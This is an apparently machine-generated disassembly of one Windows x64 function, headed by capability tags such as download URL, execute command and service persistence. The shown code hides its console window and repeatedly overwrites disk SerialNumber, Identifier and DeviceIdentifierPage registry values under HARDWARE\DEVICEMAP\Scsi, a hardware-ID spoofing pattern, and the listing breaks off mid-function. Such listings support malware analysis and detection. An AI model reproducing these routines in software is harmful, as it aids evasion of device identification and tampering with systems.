Function at 0x140052570
Capabilities:
Delete file
Download url
Execute command
Persist via windows service
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x33a0]
mov eax, 0x34a0
call fcn.14010fcd0
sub rsp, rax
mov rax, qword [0x14012d010]
xor rax, rsp
mov qword [rbp + 0x3390], rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x158], r15
lea rax, [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2c4], 0x104
lea rax, [rbp + 0x2c4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x4d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052653
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x160], r15
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2c8], 0x104
lea rax, [rbp + 0x2c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x5e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052712
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x168], r15
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2cc], 0x104
lea rax, [rbp + 0x2cc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400527d1
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x170], r15
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2d0], 0x104
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x800]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052890
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x178], r15
lea rax, [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2d4], 0x104
lea rax, [rbp + 0x2d4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x910]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052950
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x180], r15
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2d8], 0x104
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052a10
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x250], r15
lea rax, [rbp + 0x250]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2dc], 0x104
lea rax, [rbp + 0x2dc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052ad0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x248], r15
lea rax, [rbp + 0x248]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2e0], 0x104
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052b90
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x240], r15
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2e4], 0x104
lea rax, [rbp + 0x2e4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xd50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052c50
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x238], r15
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2e8], 0x104
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052d10
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x230], r15
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2ec], 0x104
lea rax, [rbp + 0x2ec]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052dd0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x220], r15
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2f0], 0x104
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052e90
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x200], r15
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2f4], 0x104
lea rax, [rbp + 0x2f4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1190]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052f50
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x228], r15
lea rax, [rbp + 0x228]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2f8], 0x104
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x12a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053010
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x190], r15
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2fc], 0x104
lea rax, [rbp + 0x2fc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x13b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400530d0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x198], r15
lea rax, [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x300], 0x104
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x14c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053190
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1a0], r15
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x304], 0x104
lea rax, [rbp + 0x304]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x15d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053250
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1a8], r15
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2c0], 0x104
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x16e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053310
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1b0], r15
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x308], 0x104
lea rax, [rbp + 0x308]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x17f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400533d0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x100], r15
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x30c], 0x104
lea rax, [rbp + 0x30c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1900]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053490
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1b8], r15
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x264], 0x104
lea rax, [rbp + 0x264]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1a10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053550
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1c0], r15
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x268], 0x104
lea rax, [rbp + 0x268]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1b20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053610
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x258], r15
lea rax, [rbp + 0x258]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x26c], 0x104
lea rax, [rbp + 0x26c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1c30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400536d0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x1c8], r15
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x270], 0x104
lea rax, [rbp + 0x270]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1d40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053790
inc eax
mov dword [rsp + 0x28], eax
